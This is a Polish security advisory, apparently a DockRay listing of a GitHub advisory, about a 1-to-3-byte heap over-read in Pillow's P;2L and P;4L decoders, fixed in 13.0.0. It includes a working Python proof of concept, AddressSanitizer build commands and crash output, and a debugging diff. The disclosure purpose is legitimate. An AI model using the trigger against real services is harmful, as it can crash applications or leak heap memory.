Średnia

Pillow: Dekodery P;2L i P;4L mogą odczytać od 1 do 3 bajtów poza przekazanym rozmiarem bufora

  • Ujawniono: 21.10.2026
  • Aktualizacja: 22.10.2026 00:11

Podsumowanie

W systemie main, nawet przy zabezpieczeniu wprowadzonym w #9725, możliwe jest, że dekodery te odczytają od 1 do 3 bajtów poza końcem przekazanego bufora przy odpowiedniej szerokości/wysokości.

Szczegóły

ImagingRawDecode oraz rozpakowywacze P;2L / P;4L różnią się co do liczby bajtów zajmowanych przez wiersz danych.

Dekoder surowy (raw) oblicza rozmiar wiersza na podstawie liczby bitów na piksel:

c
state->bytes = (state->xsize * state->bits + 7) / 8;

i używa go zarówno do sprawdzania granic, jak i do przejścia do następnego wiersza. Dla P;2L oraz P;4L, parametr bits wynosi odpowiednio 2 i 4.

Jednak te dwa tryby raw nie są upakowanymi pikselami, lecz składają się z 2 lub 4 płaszczyzn bitowych (bit planes), z których każda jest wyrównywana do pełnej liczby bajtów. unpackP2L oblicza s = (pixels + 7) / 8 i odczytuje płaszczyznę k pod przesunięciem k * s, a unpackP4L wykonuje to samo w poprzek czterech płaszczyzn. Ich rzeczywisty rozmiar wynosi zatem planes * ((xsize + 7) / 8).

Dla niektórych szerokości wyrównywanie każdej płaszczyzny z osobna sprawia, że rozmiar ten jest większy niż state->bytes. Na przykład przy szerokości 1 dekoder uwzględnia jeden bajt, podczas gdy rozpakowywacze odczytują dwa lub cztery bajty. Dekoder akceptuje dane, które są zbyt krótkie dla ostatniego wiersza, a z drugiej strony przechodzi do kolejnych wierszy o wartość mniejszą niż wiersz, w wyniku czego każdy wiersz po pierwszym jest odczytywany z nieprawidłowego przesunięcia.

Sprawdzenie w #9725 jest do tego niedopasowane:

  • Może odrzucać dane o prawidłowej długości: obraz 8x1 P;2L ma 2 bajtów, lecz nie jest akceptowany.
  • Wciąż akceptuje bufory krótsze, niż wymagają tego rozpakowywacze dla danego formatu obrazu.
  • Mierzy długość za pomocą len(data), co stanowi liczbę elementów, a nie liczbę bajtów; np. memoryview(array("I", [0,0,0,0,0])) (20 bajtów) jest odrzucany, podczas gdy mv.tobytes() jest akceptowany.

PoC ( ghsa_p2l_p4l.py)

python
from array import array
from PIL import Image

# 1 byte past
Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L")

# 3 bytes past
Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L")

to niemal najprostszy przypadek testowy.

(array jest potrzebny, aby ASan niezawodnie zgłosił błąd, jednak nadmierny odczyt można zaobserwować np. przy literałach bajtowych. Python domyślnie alokuje obiekty bytes z dodatkowym końcowym bajtem zerowym z areny pamięci, więc ASan nie rejestruje nadmiernego odczytu).

Na systemie Mac można wywołać zgłoszenie ASan za pomocą:

bash
export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)
env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e .
env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py

w następujący sposób:

python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.
unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371
unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372
unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373
unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374
=================================================================
==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38
READ of size 1 at 0x602000037374 thread T0
    #0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)
    #1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)
    #2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)
    #3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)
    #4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)
    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
    #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
    #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
    #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
    #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
    #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
    #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
    #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
    #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
    #16 0x000194c86b94  (<unknown module>)

0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)
allocated by thread T0 here:
    #0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)
    #1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)
    #2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)
    #3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)
    #4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)
    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
    #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
    #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
    #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
    #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
    #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
    #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
    #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
    #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
    #16 0x000194c86b94  (<unknown module>)

SUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c
Shadow bytes around the buggy address:
  0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa
  0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd
  0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa
  0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

(Aby wywołać inne zachowanie w przypadku unpackP4L, należy zakomentować przypadek P;2L).

Powyższy wynik uzyskano przy użyciu unpackP2L i unpackP4L z rewizji 5eee92031a1986dfdaac7c78cdf0b764c0697118, prowizorycznie zmodyfikowanych w celu wypisywania odczytywanych danych:

patch
diff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c
index a51568209..4f867737a 100644
--- a/src/libImaging/Unpack.c
+++ b/src/libImaging/Unpack.c
@@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) {
     }
 }
 
+#include <stdio.h>
+
 static void
 unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
     int i, j, m, s;
@@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
     m = 128;
     s = (pixels + 7) / 8;
     for (i = j = 0; i < pixels; i++) {
+        fprintf(stderr, "unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\n",
+            in, i, j, pixels, in + j, in + j + s);
         out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0);
         if ((m >>= 1) == 0) {
             m = 128;
@@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) {
     m = 128;
     s = (pixels + 7) / 8;
     for (i = j = 0; i < pixels; i++) {
+        fprintf(stderr, "unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\n",
+            in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s);
         out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0) +
                  ((in[j + 2 * s] & m) ? 4 : 0) + ((in[j + 3 * s] & m) ? 8 : 0);
         if ((m >>= 1) == 0) {

Wpływ

Podatność dotyczy wyłącznie bardzo specyficznego przypadku użycia: wywołań Image.frombytes() lub Image.frombuffer() w opisanej powyżej postaci. Dekoder PCX, będący jedynym wewnętrznym konsumentem rozpakowywaczy P;2L i P;4L w Pillow, przepakowuje wiersze PCX do formatu, w którym nadmiarowe odczyty nie stanowią problemu.

Wpływ polega na tym, że do 1 bajtu (P;2L) lub 3 bajtów (P;4L) pamięci sterty znajdującej się za buforem wywołującego jest odczytywanych i włączanych do wartości pikseli w ostatnim zdekodowanym wierszu (wierszach) w ilości jednego bitu na dotkniętą płaszczyznę na piksel. Możliwa jest również awaria aplikacji, jeśli odczyt sięgnie niezmapowanej pamięci.

Zgodnie z dostępnymi informacjami podatne są wszystkie dotychczas wydane wersje biblioteki Pillow.

Uwagi

Ustalenia te były przez chwilę publicznie dostępne (choć bez szczegółów) w https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996;. Andrew poprosił o wycofanie komentarza i opublikowanie w zamian tego zgłoszenia.

Co trzeba zrobić

Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow < 13.0.0 13.0.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-126
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
21.10.2026
Aktualizacja
22.10.2026 00:11

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-4558-3h8r-v8xp - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (89) w archiwum
Wszystkich wpisów
89
Pierwsza → ostatnia
04.2014 10.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 12
  • Wysoka 57
  • Średnia 18
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

wcześniej: 12

Istotność:
  1. Wysoka CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: Dekodery P;2L i P;4L mogą odczytać od 1 do 3 bajtów poza przekazanym rozmiarem bufora ten wpis
    Średnia CVE-2026-112394 < 13.0.0 13.0.0
  3. Krytyczna CVE-2026-112403 < 13.0.0 13.0.0
  4. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  5. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  6. Wysoka · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  7. Wysoka CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  8. Wysoka · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  9. Wysoka · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  10. Krytyczna · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  11. Wysoka · 8.8 Wykorzystywana w atakach CVE-2023-4863 < 10.0.1 10.0.1
  12. Wysoka · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  13. Wysoka · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  14. Wysoka · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  15. Krytyczna · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  16. Wysoka · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  17. Krytyczna · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  18. Wysoka · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  19. Wysoka · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  20. Wysoka · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  21. Wysoka · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  22. Wysoka · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
Pokaż więcej (20) Widać 40 z 70

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.